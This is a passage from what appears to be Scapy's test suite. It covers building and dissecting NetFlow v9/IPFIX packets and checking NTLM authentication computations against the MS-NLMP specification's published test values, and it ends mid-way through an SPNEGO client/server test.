NetflowDataflowsetV9(records=[NetflowRecordV9(fieldValue=b'\\x14\\x00\\x00\\xfd\\x1e\\x00\\x00\\xfd\\x00\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03 \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xfb\\x00\\x15a|\\x00\\x00\\x07\\x0f$\\x95x\\xed$\\x99\\x91<\\ndg\\x01  \\x00\\x04')], templateID=424)\n\npkt = netflowv9_defragment(list(header/flowset/dataflowset))[0]\nassert pkt.records[0].IPV4_NEXT_HOP == \"10.100.103.1\"\nassert pkt.records[0].OUTPUT_SNMP == 0x000002fb\n\nassert raw(pkt) == b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\xcc\\x00\\x01\\x00\\x00@\\x11|\\x1e\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x07\\x08\\x07\\x00\\xb8\\x86\\xe7\\x00\\t\\x00\\x02\\x00\\x00\\x00\\x00\\\\C\\x7f5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\\\x01\\xa8\\x00\\x15\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x01\\x00\\x07\\x00\\x02\\x00\\x0b\\x00\\x02\\x00 \\x00\\x02\\x00\\n\\x00\\x04\\x00\\x10\\x00\\x04\\x00\\x11\\x00\\x04\\x00\\x12\\x00\\x04\\x00\\x0e\\x00\\x04\\x00\\x01\\x00\\x04\\x00\\x02\\x00\\x04\\x00\\x16\\x00\\x04\\x00\\x15\\x00\\x04\\x00\\x0f\\x00\\x04\\x00\\t\\x00\\x01\\x00\\r\\x00\\x01\\x00\\x06\\x00\\x01\\x00<\\x00\\x01\\x01\\xa8\\x00@\\x14\\x00\\x00\\xfd\\x1e\\x00\\x00\\xfd\\x00\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03 \\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xfb\\x00\\x15a|\\x00\\x00\\x07\\x0f$\\x95x\\xed$\\x99\\x91<\\ndg\\x01  \\x00\\x04'\n\n= NetflowV9 - padding #GH2257\n\ndat = hex_bytes(\"fb200807007840a10009000277efe9c450c843f900362202000000000001001801000004000800010000002a00040029000400000101004477ef819077ef81900000003c00000001009300930ac900640ac9033b060009ee0b3500000ac9033b131302000000000000260bdc69aa6480996649a000000000\")\npkt = UDP(dat)\nassert pkt[NetflowOptionsFlowsetV9].pad == b\"\\x00\\x00\"\npkt[NetflowOptionsFlowsetV9].pad = None\nassert raw(pkt) == dat\n\n= NetflowV9 - Options Template build\n~ netflow\n\noption_templateFlowSet_256 = NetflowOptionsFlowsetV9(\n    templateID = 256,\n    option_scope_length = 4*1,\n    option_field_length = 4*3,\n    scopes = [\n        NetflowOptionsFlowsetScopeV9(scopeFieldType=1,\tscopeFieldlength= 4),\n    ],\n    options = [\n        NetflowOptionsFlowsetOptionV9(optionFieldType= 10,\toptionFieldlength= 4),\n        NetflowOptionsFlowsetOptionV9(optionFieldType= 82,\toptionFieldlength= 32),\n        NetflowOptionsFlowsetOptionV9(optionFieldType= 83,\toptionFieldlength= 240)\n    ])\nassert raw(option_templateFlowSet_256) == b'\\x00\\x01\\x00\\x1c\\x01\\x00\\x00\\x04\\x00\\x0c\\x00\\x01\\x00\\x04\\x00\\n\\x00\\x04\\x00R\\x00 \\x00S\\x00\\xf0\\x00\\x00'\n\n= NetflowV9 - Advanced build, multiple flowsets and multiple records by flowset\n~ netflow\n\ntemplate_flowset = NetflowFlowsetV9(\n    templates=[ NetflowTemplateV9(\n        template_fields=[\n            NetflowTemplateFieldV9(fieldType=\"IN_BYTES\", fieldLength=1),\n            NetflowTemplateFieldV9(fieldType=\"IN_PKTS\", fieldLength=4),\n            NetflowTemplateFieldV9(fieldType=\"PROTOCOL\"),\n            NetflowTemplateFieldV9(fieldType=\"IPV4_SRC_ADDR\"),\n            NetflowTemplateFieldV9(fieldType=\"IPV4_DST_ADDR\"),\n        ],\n        templateID=256,\n        fieldCount=5),\n        NetflowTemplateV9(\n        template_fields=[\n            NetflowTemplateFieldV9(fieldType=\"IN_BYTES\", fieldLength=1),\n            NetflowTemplateFieldV9(fieldType=\"IN_PKTS\", fieldLength=4),\n            NetflowTemplateFieldV9(fieldType=\"PROTOCOL\"),\n            NetflowTemplateFieldV9(fieldType=\"IPV6_SRC_ADDR\"),\n            NetflowTemplateFieldV9(fieldType=\"IPV6_DST_ADDR\"),\n        ],\n        templateID=257,\n        fieldCount=5)\n    ],\n    flowSetID=0\n)\n\n# Generate classes for data records\nRecord256 = GetNetflowRecordV9(template_flowset, templateID = 256)\nRecord257 = GetNetflowRecordV9(template_flowset, templateID = 257)\n\n# Now lets build a dataFlowSet with 5* #256 records\ndataFlowset_1 = NetflowDataflowsetV9(\n    templateID=256,\n    records=[\n        Record256(\n            IN_BYTES=0x12,\n            IN_PKTS=0,\n            PROTOCOL=1,\n            IPV4_SRC_ADDR=\"192.168.0.10\",\n            IPV4_DST_ADDR=\"192.168.0.11\"\n        ),\n        Record256(\n            IN_BYTES=0x0c,\n            IN_PKTS=0x01010101,\n            PROTOCOL=2,\n            IPV4_SRC_ADDR=\"172.0.0.10\",\n            IPV4_DST_ADDR=\"172.0.0.11\"\n        ),\n        Record256(\n            IN_BYTES=0x0c,\n            IN_PKTS=0x01010101,\n            PROTOCOL=3,\n            IPV4_SRC_ADDR=\"172.0.0.10\",\n            IPV4_DST_ADDR=\"172.0.0.11\"\n        ),\n        Record256(\n            IN_BYTES=0x0c,\n            IN_PKTS=0x01010101,\n            PROTOCOL=4,\n            IPV4_SRC_ADDR=\"172.0.0.10\",\n            IPV4_DST_ADDR=\"172.0.0.11\"\n        ),\n        Record256(\n            IN_BYTES=0x0c,\n            IN_PKTS=0x01010101,\n            PROTOCOL=5,\n            IPV4_SRC_ADDR=\"172.0.0.10\",\n            IPV4_DST_ADDR=\"172.0.0.11\"\n        )\n    ],\n)\n\ndataFlowset_2 = NetflowDataflowsetV9(\n    templateID=257,\n    records=[\n        Record257(\n            IN_BYTES=0x12,\n            IN_PKTS=0,\n            PROTOCOL=1,\n            IPV6_SRC_ADDR=\"2001:db8:3333:4444:5555:6666:7777:8888\",\n            IPV6_DST_ADDR=\"2001:db8::\"\n        ),\n        Record257(\n            IN_BYTES=0x0c,\n            IN_PKTS=0x01010101,\n            PROTOCOL=2,\n            IPV6_SRC_ADDR=\"2001:db8:3333:4444:CCCC:DDDD:EEEE:FFFF\",\n            IPV6_DST_ADDR=\"2001:db8::\"\n        )\n    ],\n)\n\n# An option template flowset, containing an unique template\nopttmpl258_flowSet = NetflowOptionsFlowsetV9(\n    templateID = 258,\n    option_scope_length = 4*1,\n    option_field_length = 4*2,\n    scopes = [\n        NetflowOptionsFlowsetScopeV9(scopeFieldType= 1,\tscopeFieldlength= 4),\n    ],\n    options = [\n        NetflowOptionsFlowsetOptionV9(optionFieldType= 34,\toptionFieldlength= 4),\n        NetflowOptionsFlowsetOptionV9(optionFieldType= 35,\toptionFieldlength= 1)\n    ])\n\n# And finally a Record class for #258 Options\nclass Record_258(NetflowRecordV9):\n    name = \"Option interface-table\"\n    fields_desc = [\n        IntField(\"System\", 0),\n        IntField(\"SAMPLING_INTERVAL\", 4),\n        XByteField(\"SAMPLING_ALGORITHM\", 1)\n    ]\n    match_subclass = True\n\n\n# with a record Flowset\noptiondataFlowset = NetflowDataflowsetV9(\n    templateID=258,\n    records=[\n        Record_258(\n            System=424242,\n            SAMPLING_INTERVAL=100,\n            SAMPLING_ALGORITHM=0x01\n        ),\n        Record_258(\n            System=242424,\n            SAMPLING_INTERVAL=1000,\n            SAMPLING_ALGORITHM=0x02\n        )\n    ],\n)\n\nnetflow_header = NetflowHeader()/NetflowHeaderV9(unixSecs=1547927349.328283)\npkt =  netflow_header / template_flowset / opttmpl258_flowSet / dataFlowset_1 / dataFlowset_2 / optiondataFlowset\n#      Count: 12      =        2        +         1           +       5       +       2       +        2\n\nassert raw(pkt) == b'\\x00\\t\\x00\\x0c\\x00\\x00\\x00\\x00\\\\C\\x7f5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x01\\x00\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x01\\x01\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x1b\\x00\\x10\\x00\\x1c\\x00\\x10\\x00\\x01\\x00\\x18\\x01\\x02\\x00\\x04\\x00\\x08\\x00\\x01\\x00\\x04\\x00\"\\x00\\x04\\x00#\\x00\\x01\\x00\\x00\\x01\\x00\\x00L\\x12\\x00\\x00\\x00\\x00\\x01\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x02\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x03\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x04\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x05\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x00\\x00\\x01\\x01\\x00P\\x12\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb833DDUUffww\\x88\\x88 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x01\\x01\\x01\\x01\\x02 \\x01\\r\\xb833DD\\xcc\\xcc\\xdd\\xdd\\xee\\xee\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x18\\x00\\x06y2\\x00\\x00\\x00d\\x01\\x00\\x03\\xb2\\xf8\\x00\\x00\\x03\\xe8\\x02\\x00\\x00'\n\n\n= NetflowV9 - Advanced dissection, complete example\n~ netflow\n\npkt = NetflowHeader(b'\\x00\\t\\x00\\x0c\\x00\\x00\\x00\\x00\\\\C\\x7f5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x01\\x00\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x01\\x01\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x1b\\x00\\x10\\x00\\x1c\\x00\\x10\\x00\\x01\\x00\\x18\\x01\\x02\\x00\\x04\\x00\\x08\\x00\\x01\\x00\\x04\\x00\"\\x00\\x04\\x00#\\x00\\x01\\x00\\x00\\x01\\x00\\x00L\\x12\\x00\\x00\\x00\\x00\\x01\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x02\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x03\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x04\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x0c\\x01\\x01\\x01\\x01\\x05\\xac\\x00\\x00\\n\\xac\\x00\\x00\\x0b\\x00\\x00\\x01\\x01\\x00P\\x12\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb833DDUUffww\\x88\\x88 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x01\\x01\\x01\\x01\\x02 \\x01\\r\\xb833DD\\xcc\\xcc\\xdd\\xdd\\xee\\xee\\xff\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x18\\x00\\x06y2\\x00\\x00\\x00d\\x01\\x00\\x03\\xb2\\xf8\\x00\\x00\\x03\\xe8\\x02\\x00\\x00')\n\nnf_header = pkt.getlayer(NetflowHeader)\nassert nf_header.version == 9\nnfv9_header = pkt.getlayer(NetflowHeaderV9)\nassert nf_header.count == 12\n\nflowset_1 = pkt.getlayer(NetflowFlowsetV9, 1)\nassert len(flowset_1.templates) == 2\nassert flowset_1.templates[0].templateID == 256\nassert flowset_1.templates[1].templateID == 257\nassert flowset_1.templates[1].fieldCount == 5\nassert flowset_1.templates[1].template_fields[1].fieldLength == 4\n\nflowset_2 = pkt.getlayer(NetflowOptionsFlowsetV9, 1)\nassert flowset_2.templateID == 258\nassert len(flowset_2.scopes) == 1\nassert len(flowset_2.options) == 2\nassert flowset_2.pad == b'\\x00\\x00'\n\nflowset_3 = pkt.getlayer(NetflowDataflowsetV9, 1)\nassert flowset_3.templateID == 256\nassert flowset_3.length == 76\n\nflowset_4 = pkt.getlayer(NetflowDataflowsetV9, 2)\nassert flowset_4.templateID == 257\n\nflowset_5 = pkt.getlayer(NetflowDataflowsetV9, 3)\nassert flowset_5.templateID == 258\n\n\n############\n############\n+ Netflow v10 (aka IPFix)\n~ netflow\n\n= IPFix dissection\n\nimport os\nfilename = scapy_path(\"/test/pcaps/ipfix.pcap\")\na = sniff(offline=filename, session=NetflowSession)\n\n# Templates\npkt1 = a[0]\nassert NetflowHeaderV10 in pkt1\nassert len(pkt1[NetflowFlowsetV9].templates) == 1\nassert len(pkt1[NetflowFlowsetV9].templates[0].template_fields) == 23\nflds = pkt1[NetflowFlowsetV9].templates[0].template_fields\nassert (flds[0].fieldType == 8 and flds[0].fieldLength == 4)\nassert (flds[4].fieldType == 7 and flds[4].fieldLength == 2)\n\n# Data\npkt2 = a[2]\nassert NetflowHeaderV10 in pkt2\nassert len(pkt2.records) == 1\nassert pkt2.records[0].IPV4_SRC_ADDR == \"70.1.115.1\"\nassert pkt2.records[0].flowStartMilliseconds == 1480449931519\n\n# Options\npkt3 = a[1]\nassert NetflowOptionsFlowset10 in pkt3\nassert pkt3.scope_field_count == 1\nassert pkt3.field_count == 3\nassert len(pkt3[NetflowOptionsFlowset10].scopes) == 1\nassert len(pkt3[NetflowOptionsFlowset10].options) == 2\nassert pkt3.scopes[0].scopeFieldType == 5\nassert pkt3.scopes[0].scopeFieldlength == 2\nassert pkt3[NetflowOptionsFlowset10].options[0].optionFieldType == 36\n\n# Templates with enterprise-specific Information Elements.\ns=b'\\x01\\x07\\x00\\x12\\x01\\n\\x00\\x04\\x84\\x0c\\x00\\x02\\x00\\x00\\x00\\t\\x01\\n\\x00&\\x00\\x0b\\x00\\x02\\x00\\x07\\x00\\x02\\x00\\x04\\x00\\x01\\x00\\x0c\\x00\\x04\\x00\\x08\\x00\\x04\\x00\\xea\\x00\\x02\\x01\\n\\x00\\x01\\x84\\x10\\x00\\x06\\x00\\x00\\x00\\t\\x84\\x0e\\x00\\x06\\x00\\x00\\x00\\t\\x84\\x0f\\x00\\x06\\x00\\x00\\x00\\t\\x00\\x01\\x00\\x04\\x00\\x02\\x00\\x04\\x00\\xf3\\x00\\x02\\x00\\x06\\x00\\x01\\x01\\n\\x00#'\npkt4 = NetflowTemplateV9(s)\nassert len(pkt4.template_fields) == pkt4.fieldCount\nassert sum([template.fieldLength for template in pkt4.template_fields]) == 124\n\n= NetflowV10/IPFIX - dissection without padding (GH3101)\n\ns=b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00f\\x00\\x01\\x00\\x00@\\x11|\\x84\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x07\\x08\\x07\\x00R\\xee\\xa2\\x00\\n\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x01\\x01\\x00\\x04\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x01\\x01\\x00\\x11\\x00\\x00\\x00\\x00\\x06\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x01\\x01\\x00\\x11\\x00\\x00\\x00\\x00\\x06\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b'\npkt = netflowv9_defragment(Ether(s))[0]\n\nfor i in range(1,3):\n    assert pkt.getlayer(NetflowDataflowsetV9, i).templateID == 257\n    assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IN_PKTS == 0\n    assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].PROTOCOL == 6\n    assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IPV4_SRC_ADDR == \"192.168.0.10\"\n    assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IPV4_DST_ADDR == \"192.168.0.11\"\n\nassert not pkt.getlayer(NetflowDataflowsetV9, 2).payload\n\n= NetflowV10/IPFIX - build\n\nnetflow_header = NetflowHeader()/NetflowHeaderV10()\n\nflowset = NetflowFlowsetV9(\n    templates=[NetflowTemplateV9(\n        template_fields=[\n            NetflowTemplateFieldV9(fieldType=1, fieldLength=1),  # IN_BYTES\n            NetflowTemplateFieldV9(fieldType=2, fieldLength=4),  # IN_PKTS\n            NetflowTemplateFieldV9(fieldType=4),  # PROTOCOL\n            NetflowTemplateFieldV9(fieldType=8),  # IPV4_SRC_ADDR\n            NetflowTemplateFieldV9(fieldType=12),  # IPV4_DST_ADDR\n        ],\n        templateID=256,\n        fieldCount=5)\n    ],\n    flowSetID=0\n)\nrecordClass = GetNetflowRecordV9(flowset)\ndataFS = NetflowDataflowsetV9(\n    templateID=256,\n    records=[ # Some random data.\n        recordClass(\n            IN_BYTES=0x12,\n            IN_PKTS=0,\n            PROTOCOL=6,\n            IPV4_SRC_ADDR=\"192.168.0.10\",\n            IPV4_DST_ADDR=\"192.168.0.11\"\n        ),\n    ],\n)\n\npkt = netflow_header / flowset / dataFS\nassert raw(pkt) == b'\\x00\\n\\x00>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x01\\x00\\x00\\x05\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x04\\x00\\x04\\x00\\x01\\x00\\x08\\x00\\x04\\x00\\x0c\\x00\\x04\\x01\\x00\\x00\\x14\\x12\\x00\\x00\\x00\\x00\\x06\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x00\\x00'\n\n= Netflow9 - Build and dissect more int fields\n\ntemplate_flowset = NetflowFlowsetV9(\n    flowSetID=0,\n    templates=[\n        NetflowTemplateV9(\n            templateID=256,\n            fieldCount=5,\n            template_fields=[\n                NetflowTemplateFieldV9(fieldType=\"IN_BYTES\", fieldLength=4),\n                NetflowTemplateFieldV9(fieldType=\"IN_PKTS\", fieldLength=4),\n                NetflowTemplateFieldV9(fieldType=\"PROTOCOL\", fieldLength=1),\n                NetflowTemplateFieldV9(fieldType=\"IPV4_SRC_ADDR\", fieldLength=4),\n                NetflowTemplateFieldV9(fieldType=\"IPV4_DST_ADDR\", fieldLength=4),\n            ]\n        )\n    ]\n)\nrecordClass = GetNetflowRecordV9(template_flowset)\ndataflowset = NetflowDataflowsetV9(\n    templateID=256,\n    records=[\n        recordClass(\n            IN_BYTES=0x1234,\n            IN_PKTS=0xABC,\n            PROTOCOL=6,\n            IPV4_SRC_ADDR=\"192.168.0.10\",\n            IPV4_DST_ADDR=\"192.168.0.11\"\n        ),\n    ],\n)\n\nassert bytes(dataflowset) == b'\\x01\\x00\\x00\\x18\\x00\\x00\\x124\\x00\\x00\\n\\xbc\\x06\\xc0\\xa8\\x00\\n\\xc0\\xa8\\x00\\x0b\\x00\\x00\\x00'\n\n# Re-dissect after build\ndataflowset = NetflowDataflowsetV9(bytes(dataflowset))\nrec = recordClass(dataflowset.records[0].fieldValue)\nassert rec.IN_BYTES == 0x1234\nassert rec.IN_PKTS == 0xABC\nassert rec.IPV4_SRC_ADDR == \"192.168.0.10\"\n\n= NetflowSession - dissect packet NetflowV9 packets on-the-flow\n\nimport os\nfilename = scapy_path(\"/test/pcaps/netflowv9.pcap\")\n\ndissected_packets = []\ndef callback(pkt):\n    dissected_packets.append(pkt)\n\nsniff(offline=filename, session=NetflowSession, prn=callback)\nrecords = dissected_packets[3][NetflowDataflowsetV9].records\nassert len(records) == 24\nassert records[0].IPV4_SRC_ADDR == '20.0.1.174'\nassert records[0].IPV4_NEXT_HOP == '10.100.103.1'\n\n# test for netflow IP_DSCP (id=195)\ndscp_flowset = NetflowFlowsetV9(\n    templates=[\n        NetflowTemplateV9(\n            template_fields=[\n                NetflowTemplateFieldV9(fieldType=195),\n            ],\n            templateID=273,\n        )\n    ],\n    flowSetID=2,\n)\n\nrecordClass = GetNetflowRecordV9(dscp_flowset, templateID=273)\n\ndscp_dataset = NetflowDataflowsetV9(\n    templateID=273,\n    records=[\n        recordClass(\n            IP_DSCP=42,\n        ),\n    ],\n)\n\n# record is generated with 2 zero bytes of padding\nassert(raw(dscp_dataset) == b'\\x01\\x11\\x00\\x08\\x2a\\x00\\x00\\x00')\n"
  },
  {
    "path": "test/scapy/layers/ntlm.uts",
    "content": "% NTLM tests\n\n+ [MS-NLMP] tests\n\n= [MS-NLMP] 4.2.1 - Common Values\n\nUser = \"User\"\nUserDom = \"Domain\"\nPasswd = \"Password\"\nServerName = \"Server\"\nWorkstationName = \"COMPUTER\"\nRandomSessionKey = b\"UUUUUUUUUUUUUUUU\"\nTime = 0\nClientChallenge = b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\nServerChallenge = b'\\x01\\x23\\x45\\x67\\x89\\xab\\xcd\\xef'\n\n= [MS-NLMP] 4.2.4\n\nNegotiateFlags = 0xe28a8233\nAVPairs1 = \"Server\"\nAVPairs2 = \"Domain\"\n\n= [MS-NLMP] 4.2.4.1.1 NTOWFv2()\n\nResponseKeyNT = NTOWFv2(Passwd, User, UserDom)\nassert ResponseKeyNT == b'\\x0c\\x86\\x8a@;\\xfdz\\x93\\xa3\\x00\\x1e\\xf2.\\xf0.?'\n\n= Build NTLMv2_RESPONSE\n\nntlm_response = NTLMv2_RESPONSE(\n    TimeStamp=Time,\n    ChallengeFromClient=ClientChallenge,\n    AvPairs=[\n        AV_PAIR(AvId=\"MsvAvNbDomainName\", Value=AVPairs2),\n        AV_PAIR(AvId=\"MsvAvNbComputerName\", Value=AVPairs1),\n        AV_PAIR(AvId=\"MsvAvEOL\"),  # Windows does this (samba does not)\n        AV_PAIR(AvId=\"MsvAvEOL\"),\n    ]\n)\n\n= [MS-NLMP] 4.2.4.2.2 NTLMv2 Response\n\nntlm_response.NTProofStr = ntlm_response.computeNTProofStr(\n    ResponseKeyNT,\n    ServerChallenge,\n)\nassert ntlm_response.NTProofStr == b'h\\xcd\\n\\xb8Q\\xe5\\x1c\\x96\\xaa\\xbc\\x92{\\xeb\\xefj\\x1c'\n\n= [MS-NLMP] 4.2.4.1.2 Session Base Key\n\nExportedSessionKey = SessionBaseKey = NTLMv2_ComputeSessionBaseKey(\n    ResponseKeyNT,\n    ntlm_response.NTProofStr,\n)\nassert SessionBaseKey == b'\\x8d\\xe4\\x0c\\xca\\xdb\\xc1J\\x82\\xf1\\\\\\xb0\\xad\\r\\xe9\\\\\\xa3'\n\n= [MS-NLMP] 4.2.4.2.3 Encrypted Session Key\n\nEncryptedRandomSessionKey = RC4K(SessionBaseKey, RandomSessionKey)\nassert EncryptedRandomSessionKey == b'\\xc5\\xda\\xd2TO\\xc9y\\x90\\x94\\xce\\x1c\\xe9\\x0b\\xc9\\xd0>'\n\n= [MS-NLMP] 4.2.4.3 Messages\n\nntlm_nego = NTLM_NEGOTIATE(\n    NegotiateFlags=NegotiateFlags,\n    ProductMajorVersion=5,\n    ProductMinorVersion=1,\n    ProductBuild=2600,\n)\nntlm_nego.DomainName = UserDom\nntlm_nego.WorkstationName = WorkstationName\n\n# ntlm_chall = NTLM_Header(b'NTLMSSP\\x00\\x02\\x00\\x00\\x00\\x0c\\x00\\x0c\\x008\\x00\\x00\\x003\\x82\\x8a\\xe2\\x01#Eg\\x89\\xab\\xcd\\xef\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00$\\x00D\\x00\\x00\\x00\\x06\\x00p\\x17\\x00\\x00\\x00\\x0fS\\x00e\\x00r\\x00v\\x00e\\x00r\\x00\\x02\\x00\\x0c\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00\\x01\\x00\\x0c\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00\\x00\\x00\\x00\\x00')\n\nntlm_auth = NTLM_Header(b'NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00l\\x00\\x00\\x00T\\x00T\\x00\\x84\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00H\\x00\\x00\\x00\\x08\\x00\\x08\\x00T\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\\\\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\xd8\\x00\\x00\\x005\\x82\\x88\\xe2\\x05\\x01(\\n\\x00\\x00\\x00\\x0fD\\x00o\\x00m\\x00a\\x00i\\x00n\\x00U\\x00s\\x00e\\x00r\\x00C\\x00O\\x00M\\x00P\\x00U\\x00T\\x00E\\x00R\\x00\\x86\\xc3P\\x97\\xac\\x9c\\xec\\x10%TvJW\\xcc\\xcc\\x19\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaah\\xcd\\n\\xb8Q\\xe5\\x1c\\x96\\xaa\\xbc\\x92{\\xeb\\xefj\\x1c\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x02\\x00\\x0c\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00\\x01\\x00\\x0c\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc5\\xda\\xd2TO\\xc9y\\x90\\x94\\xce\\x1c\\xe9\\x0b\\xc9\\xd0>')\n\nassert ntlm_auth.MIC is None\n\n= [MS-NLMP] 4.2.4.4 GSS_WrapEx\n\nSeqNum = 0\nPlaintext = b'P\\x00l\\x00a\\x00i\\x00n\\x00t\\x00e\\x00x\\x00t\\x00'\n\nSealKey = SEALKEY(ntlm_nego.NegotiateFlags, RandomSessionKey, \"Client\")\nassert SealKey == b'Y\\xf6\\x00\\x97<\\xc4\\x96\\n%H\\n|\\x19nLX'\n\nSignKey = SIGNKEY(ntlm_nego.NegotiateFlags, RandomSessionKey, \"Client\")\nassert SignKey == b'G\\x88\\xdc\\x86\\x1bG\\x82\\xf3]C\\xfd\\x98\\xfe\\x1a-9'\n\n# Build SSP and Context manually\nssp = NTLMSSP()\nctx = NTLMSSP.CONTEXT(IsAcceptor=False)\nctx.SendSeqNum = SeqNum\nctx.SendSignKey = SignKey\nctx.SendSealKey = SealKey\nctx.SendSealHandle = RC4Init(SealKey)\n\n_msgs, sig = ssp.GSS_WrapEx(ctx, [\n    SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=Plaintext),\n])\ns = _msgs[0].data\n\nassert s == b'T\\xe5\\x01e\\xbf\\x196\\xdc\\x99` \\xc1\\x81\\x1b\\x0f\\x06\\xfb_'\nassert sig.Checksum == b'\\x7f\\xb3\\x8e\\xc5\\xc5]Iv'\n\nassert bytes(sig) == b'\\x01\\x00\\x00\\x00\\x7f\\xb3\\x8e\\xc5\\xc5]Iv\\x00\\x00\\x00\\x00'\n\n+ GSS-API SPNEGO: SPNEGOSSP tests\n\n= Create randomness-mock context manager\n\n# mock the random to get consistency\nfrom unittest import mock\n\ndef fake_urandom(x):\n    # wow, impressive entropy\n    return b\"0\" * x\n\n_patches = [\n    # Patch all the random\n    mock.patch('scapy.layers.ntlm.os.urandom', side_effect=fake_urandom),\n]\n\nclass NTLMRandomPatcher:\n    def __enter__(self):\n        for p in _patches:\n            p.start()\n    def __exit__(self, *args, **kwargs):\n        for p in _patches:\n            p.stop()\n\n\n= Create client and server SPNEGOSSPs\n\nfrom scapy.layers.ntlm import NTLM_NEGOTIATE\nfrom scapy.layers.spnego import SPNEGO_negTokenInit, SPNEGO_negTokenResp, SPNEGO_Token, SPNEGO_negToken, SPNEGO_MechListMIC, SPNEGOSSP\n\nclient = SPNEGOSSP([\n    NTLMSSP(\n        UPN=\"User1\",\n        PASSWORD=\"Password1\",\n    ),\n])\nserver = SPNEGOSSP([\n    NTLMSSP(\n        IDENTITIES={\n            \"User1\": MD4le(\"Password1\"),\n        },\n        NTLM_VALUES={\n            \"NetbiosDomainName\": \"DOMAIN\",\n            \"NetbiosComputerName\": \"WIN10\",\n            \"DnsDomainName\": \"domain.local\",\n            \"DnsComputerName\": \"WIN10.domain.local\",\n            \"DnsTreeName\": \"domain.local\",\n        },\n    )\n])\n\n= GSS_Init_sec_context (negTokenInit: NTLM_NEGOTIATE)\n\nclicontext, tok, negState = client.GSS_Init_sec_context(\n    None,\n    req_flags=(\n        